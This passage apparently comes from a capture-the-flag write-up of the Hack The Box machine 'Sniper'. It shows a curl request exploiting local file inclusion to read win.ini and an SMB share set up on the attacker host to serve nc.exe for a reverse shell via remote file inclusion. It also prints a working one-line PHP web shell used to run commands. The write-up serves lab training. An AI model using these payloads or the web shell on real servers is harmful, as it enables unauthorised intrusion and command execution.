https://substackcdn.com/image/fetch/$s_!NPQj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 1272w, https://substackcdn.com/image/fetch/$s_!NPQj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NPQj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png" width="769" height="610" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:610,&quot;width&quot;:769,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:80874,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NPQj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 424w, https://substackcdn.com/image/fetch/$s_!NPQj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 848w, https://substackcdn.com/image/fetch/$s_!NPQj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 1272w, https://substackcdn.com/image/fetch/$s_!NPQj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d75dec5-4cda-499d-b884-e0e76bba411c_769x610.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Initial access</h1><h2>Validating Local File Inclusion (LFI)</h2><p>Since the page uses a GET parameter to load content, it is possible to attempt using <code>../</code> to navigate to different directories and have other <strong>local files included</strong> in HTTP responses. </p><p>On Windows, the default web directory is <code>C:\inetpub\wwwroot</code>. Given that the current location is within the <code>blog</code> subdirectory, the path is <code>C:\inetpub\wwwroot\blog</code>. To traverse up three directories and load the Windows Initialization file from <code>C:\Windows\win.ini</code>, the following input can be used:</p><pre><code>http://10.129.229.6/blog/?lang=../../../windows/win.ini</code></pre><p>This is unsuccessful, but the absolute path can be attempted via curl, which successfully includes the `ini` file in the response. This confirms the presence of a Local File Inclusion vulnerability.</p><pre><code>curl -X GET http://10.129.229.6/blog/?lang=/windows/win.ini
&lt;SNIP&gt;
&lt;/html&gt;
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>This can also be confirmed in Burpsuite by repeating and modifying the request before sending it again.</p><p>The following screenshot shows the original request in the HTTP history:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TIs-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TIs-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 424w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 848w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 1272w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TIs-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png" width="692" height="581" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:581,&quot;width&quot;:692,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:60522,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!TIs-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 424w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 848w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 1272w, https://substackcdn.com/image/fetch/$s_!TIs-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcf580803-3252-4b00-b0ba-5c6a969e49dd_692x581.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The next screenshot shows the modified repeated request and subsequent response that includes the contents of the local <code>win.ini</code> file:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2315!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2315!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 424w, https://substackcdn.com/image/fetch/$s_!2315!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 848w, https://substackcdn.com/image/fetch/$s_!2315!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 1272w, https://substackcdn.com/image/fetch/$s_!2315!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2315!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png" width="1384" height="965" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:965,&quot;width&quot;:1384,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:95187,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2315!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 424w, https://substackcdn.com/image/fetch/$s_!2315!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 848w, https://substackcdn.com/image/fetch/$s_!2315!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 1272w, https://substackcdn.com/image/fetch/$s_!2315!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd051-9108-4ec9-9bbd-5f7d99d7293f_1384x965.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Given the presence of SMB, it is advisable to attempt to include a remote file over that protocol, which would indicate the presence of a <strong>Remote File Inclusion (RFI) </strong>vulnerability<strong>.</strong></p><p>As demonstrated below, starting a Netcat listener and requesting a non-existent file from the attack machine over Port 445 (SMB) results in a connection, indicating that the target server can be manipulated to request remote files over the SMB protocol.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!70BP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!70BP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 424w, https://substackcdn.com/image/fetch/$s_!70BP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 848w, https://substackcdn.com/image/fetch/$s_!70BP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 1272w, https://substackcdn.com/image/fetch/$s_!70BP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!70BP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png" width="1194" height="493" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:493,&quot;width&quot;:1194,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:69479,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!70BP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 424w, https://substackcdn.com/image/fetch/$s_!70BP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 848w, https://substackcdn.com/image/fetch/$s_!70BP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 1272w, https://substackcdn.com/image/fetch/$s_!70BP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e7d3b14-defc-41f3-80c9-d199de3b51d6_1194x493.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Remote File Inclusion</h2><p>After validating the potential for a Remote File Inclusion, the next step is to set up an SMB (Server Message Block) share to attempt to include remote files. </p><p>This setup enables the exploitation of the Remote File Inclusion vulnerability by including files over the SMB protocol. The ultimate objective is to gain a reverse shell on the target machine, so the included file is a Netcat executable (nc.exe). If nc.exe can be remotely included, it may be possible to leverage it to connect to a Netcat listener.</p><p><em><strong>Step 1 - Create a new folder to act as an SMB share</strong></em></p><p>Firstly, a new folder is created on the attack machine at `/tmp`. This will be used to house nc.exe so the target can be manipulated to include the file during execution.</p><pre><code>mkdir www</code></pre><p><em><strong>Step 2 - Configure the SMB share and align directory permissions</strong></em></p><p>The directory needs to be configured as an SMB share by editing the <code>/etc/samba/smb.conf</code> and adding the following to the bottom of the file.</p><pre><code>[www]
path = /tmp/www/
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody</code></pre><p>Back in the directory, the permissions are set as shown:</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper/]
&#9492;&#9472;$ chmod 0555 /tmp/www/
&#9492;&#9472;$ sudo chown -R nobody:nogroup /tmp/www</code></pre><p>The <code>chmod 0555</code> command sets the permissions for the <code>/tmp/www/</code> directory to <code>r-xr-xr-x</code>, which means no one can write to the directory, but everyone can read and execute files within it, matching the configuration written to the SMB config file.</p><p><em><strong>Step 3 - Start the SMB server and validate it&#8217;s running</strong></em></p><p>The SMB server is then started:</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper/]
&#9492;&#9472;$ sudo service smbd start</code></pre><p>The server can be checked that it is running with <code>smbmap</code>:</p><pre><code>smbmap -H 10.10.14.5</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!G9tF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!G9tF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 424w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 848w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 1272w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!G9tF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png" width="922" height="439" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:439,&quot;width&quot;:922,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40033,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!G9tF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 424w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 848w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 1272w, https://substackcdn.com/image/fetch/$s_!G9tF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d897db2-9469-4c9a-8e39-6d9b772c25e9_922x439.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em><strong>Step 4 - Deploy a web shell to send commands</strong></em></p><p>A Web Shell<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-3" href="#footnote-3" target="_self">3</a>  is added to a .PHP file and added to the SMB share. This will be used to send commands to the web server.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[/tmp/www]
&#9492;&#9472;$ cat shell.php

&lt;?php if(isset($_REQUEST["cmd"])){ echo "&lt;pre&gt;"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "&lt;/pre&gt;"; die; }?&gt;</code></pre><p>In Burpsuite, the GET response can be manipulated to retrieve the shell and run simple commands. The following demonstrates how the `whoami` command was successfully executed on the target via the web shell.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!v49N!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!v49N!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 424w, https://substackcdn.com/image/fetch/$s_!v49N!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 848w, https://substackcdn.com/image/fetch/$s_!v49N!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 1272w, 